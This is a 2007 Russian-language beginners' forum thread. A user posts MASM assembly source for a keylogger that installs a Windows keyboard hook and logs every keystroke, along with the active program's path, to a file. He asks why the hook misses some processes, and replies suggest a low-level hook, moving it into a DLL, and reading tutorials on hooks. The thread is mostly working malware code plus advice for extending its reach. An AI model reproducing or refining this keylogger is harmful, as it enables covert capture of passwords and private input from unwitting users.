KeyLogger

Тема в разделе "WASM.BEGINNERS", создана пользователем ZX_CodeR, 15 июн 2007.

  1. ZX_CodeR

    ZX_CodeR New Member

    Публикаций:
    0
    Регистрация:
    13 июн 2007
    Сообщения:
    48
    Пишу keylogger.
    Ставлю хук :

    Код (Text):
    1. StartLog PROC
    2. invoke SetWindowsHookEx, WH_KEYBOARD, addr KeyboardHookProc, Inst, NULL
    3. mov HookHandle, eax
    4. ret
    5. StartLog ENDP
    хуковская процедура (szCurAppNm - путь к текущей апликухе ;szCurApp - путь к прошлой апликухе) :

    Код (Text):
    1. KeyboardHookProc PROC nCode:DWORD, wParam:WPARAM, lParam:LPARAM
    2. .IF (nCode == HC_ACTION) && (wParam != 0)
    3.   mov eax, lParam
    4.   shr eax, 16
    5.   .IF (ax & KF_UP || ax & KF_REPEAT)
    6.     invoke FindFirstFile, addr szFName, addr FindData
    7.       .IF eax == INVALID_HANDLE_VALUE
    8.         invoke FindClose, eax
    9.         invoke CreateFile, addr szFName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    10.         invoke CloseHandle, eax
    11.       .ENDIF
    12.     invoke CreateFile, addr szFName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
    13.     mov FHandle, eax
    14.     invoke SetFilePointer, FHandle, 0, NULL, FILE_END
    15.     invoke GetModuleHandle, NULL
    16.     invoke GetModuleFileNameA, eax, addr szCurAppNm, 300
    17.     invoke lstrcmpi, addr szCurAppNm, addr szCurApp
    18.     cmp eax, 0
    19.     jz AppNmSm
    20.     invoke lstrcpy, addr szCurApp, addr szCurAppNm
    21.     invoke wsprintf, addr szFBuf, addr szHeader, addr szCurAppNm
    22.     invoke lstrlen, addr szFBuf
    23.     invoke WriteFile, FHandle, addr szFBuf, eax, addr BytesWritten, 0
    24.     AppNmSm:
    25.     invoke WriteFile, FHandle, addr wParam, 1, addr BytesWritten, 0
    26.     invoke CloseHandle, FHandle
    27.   .ENDIF
    28. .ENDIF
    29. invoke CallNextHookEx, HookHandle, nCode, wParam, lParam
    30. ret
    31. KeyboardHookProc ENDP
    Но почему то , мой хук вклиниваеться не во все процессы :dntknw: ...
     
  2. lamer2k

    lamer2k New Member

    Публикаций:
    0
    Регистрация:
    14 май 2006
    Сообщения:
    88
    Код - жесть :-D
     
  3. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    ZX_CodeR
    WH_KEYBOARD_LL
     
  4. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    В dll выносить хук не пробовал?
     
  5. RamMerLabs

    RamMerLabs Well-Known Member

    Публикаций:
    0
    Регистрация:
    11 сен 2006
    Сообщения:
    1.426
    читаем уроки Iczelion'а. Там о хуках нормально написано.